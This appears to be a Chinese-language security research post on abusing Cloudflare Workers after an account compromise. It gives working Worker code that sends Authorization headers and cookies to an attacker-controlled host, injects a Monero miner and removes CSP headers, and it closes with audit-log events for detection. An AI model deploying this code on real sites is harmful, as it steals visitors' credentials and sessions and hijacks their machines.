边缘中间人攻击:滥用Cloudflare Workers的技术分析

本文深入探讨攻击者如何滥用Cloudflare Workers在边缘服务器上进行中间人攻击,包括窃取授权令牌、Cookie劫持、恶意脚本注入等攻击技术,并提供了实际代码示例和检测方法。

边缘中间人攻击:滥用Cloudflare Workers

Cloudflare Workers简介

Cloudflare Workers提供了一个强大的无服务器解决方案,可在每个HTTP请求和响应之间运行代码。在本文中,我们将看到攻击者在入侵Cloudflare账户后如何滥用Workers来建立持久性和窃取敏感数据。

需要明确的是:这不是Cloudflare或Cloudflare Workers的漏洞。Cloudflare不应该(甚至不能)采取任何措施。本文探讨了利用Workers设计本身实现的攻击方法。

滥用Cloudflare Workers

假设攻击者刚刚入侵了一个Cloudflare账户。首先,Cloudflare仅向其企业客户提供仪表板单点登录,因此可以预期在15.4万+客户中,有数千个账户使用共享的长期密码。

创建恶意Cloudflare Worker

我们首先创建一个基础的Worker,除了位于HTTP请求和响应之间外,暂时不执行任何操作。

1
2
3
4
5
6
7
8
addEventListener('fetch', event => {
  event.respondWith(handleRequest(event, event.request));
});

async function handleRequest(event, request) {
    // 代理请求
    return fetch(request);
}

使用Cloudflare wrangler CLI将其部署到Cloudflare:

1
2
3
4
5
6
7
$ wrangler publish worker.js
wrangler 2.0.15
--------------------
Total Upload: 0.51 KiB / gzip: 0.29 KiB
Uploaded my-malicious-worker (2.11 sec)
Published my-malicious-worker (1.73 sec)
  my-malicious-worker.christophetd.workers.dev

然后通过Cloudflare API将Worker与目标区域关联:

1
2
3
4
5
curl -X POST "https://api.cloudflare.com/client/v4/zones/<zone-id>/workers/routes" \
     -H "X-Auth-Email: $CF_EMAIL" \
     -H "X-Auth-Key: $CF_API_KEY" \
     -H "Content-Type: application/json" \
     --data '{"pattern":"*somewhereinthe.cloud/*","script":"my-malicious-worker"}'

现在我们有了"worker-in-the-middle",让我们看看攻击者的几种攻击场景。

窃取授权令牌

当HTTP请求中设置了Authorization头时,我们可以窃取它并将其发送到攻击者控制的远程服务器。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
async function handleRequest(event, request) {
  await stealAuthorizationHeader(request);
  return fetch(request);
}

async function stealAuthorizationHeader(request) {
  const authz = request.headers.get("Authorization")
  if (authz) {
    await log(`authorization header: ${authz}`)
  }
}

async function log(data) {
  // 将任意数据发送到攻击者控制的远程服务器
  await fetch("http://46.101.191.103.nip.io/log/" + btoa(data));
}

窃取Cookie

Cookie同样具有很高价值,因为它们通常包含可用于冒充任何用户身份的会话标识符。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
async function handleRequest(event, request) {
  await stealAuthorizationHeader(request);
  response = await fetch(request);
  await stealCookies(request, response);
  return response;
}

async function stealCookies(request, response) {
  cookies = response.headers.get("Set-Cookie")
  if (cookies) {
    await log(`cookies sent by server: ${cookies}`);
  }

  cookies = request.headers.get("Cookie")
  if (cookies) {
    await log(`cookies sent by client: ${cookies}`);
  }
}

注入恶意Javascript代码

除了窃取敏感数据,还可以在每个网页中注入挖矿程序:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
async function injectMaliciousScript(originalResponse) {
  // 仅在HTML响应中注入脚本
  if (!originalResponse.headers.get("Content-Type").includes("html")) {
    return originalResponse;
  }

  originalHtml = await originalResponse.text();
  // 要注入的恶意脚本
  const script = `
    <script src="https://monerominer.rocks/miner-mmr/webmnr.min.js"></script>
    <script>
      server = "wss://f.xmrminingproxy.com:8181";
      var pool = "moneroocean.stream";
      var walletAddress = "PUT YOUR WALLET ADDRESS HERE";
      var workerId = ""
      var threads = -1;
      var password = "x";
      startMining(pool, walletAddress, workerId, threads, password);
      throttleMiner = 20;
    </script>
  `
  modifiedHtml = originalHtml.replace("</body>", script + "</body>")
  modifiedResponse = new Response(modifiedHtml, originalResponse)
  
  // 移除可能阻止我们脚本的内容安全策略
  if (modifiedResponse.headers.get("Content-Security-Policy")) {
    modifiedResponse.headers.delete("Content-Security-Policy")
  }

  return modifiedResponse
}

其他滥用潜力

  • 选择性目标定位:基于客户端IP或平台表现不同行为
  • 钓鱼攻击:透明代理到合法网站的请求,动态重写响应链接并窃取凭据
  • 重写支付信息:等待响应中出现类似IBAN或加密货币地址的内容,并将其替换为攻击者拥有的地址

检测Cloudflare账户中的恶意活动

Cloudflare提供其控制平面的审计日志,可用于识别可疑活动。当创建新的Worker时,它会生成类型为script_create的事件。

下表总结了可用于检测潜在恶意活动的事件类型:

事件 事件代码
创建了新Worker script_create
Worker被绑定到路由 route_create
创建了DNS记录 rec_add
创建了用户API令牌 token_create
用户API令牌被轮换 token_roll
查看了账户范围的API令牌 API_key_view
成功登录Cloudflare仪表板 login

结论

攻击者将继续利用Cloudflare Workers进行恶意活动,正如他们在过去几年中对钓鱼和C2基础设施所做的那样。他们可能会更频繁地使用Workers的核心功能来注入恶意JavaScript有效负载和窃取敏感数据。与此同时,蓝队需要确保其Cloudflare账户得到适当的安全保护和监控,以检测可疑活动。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计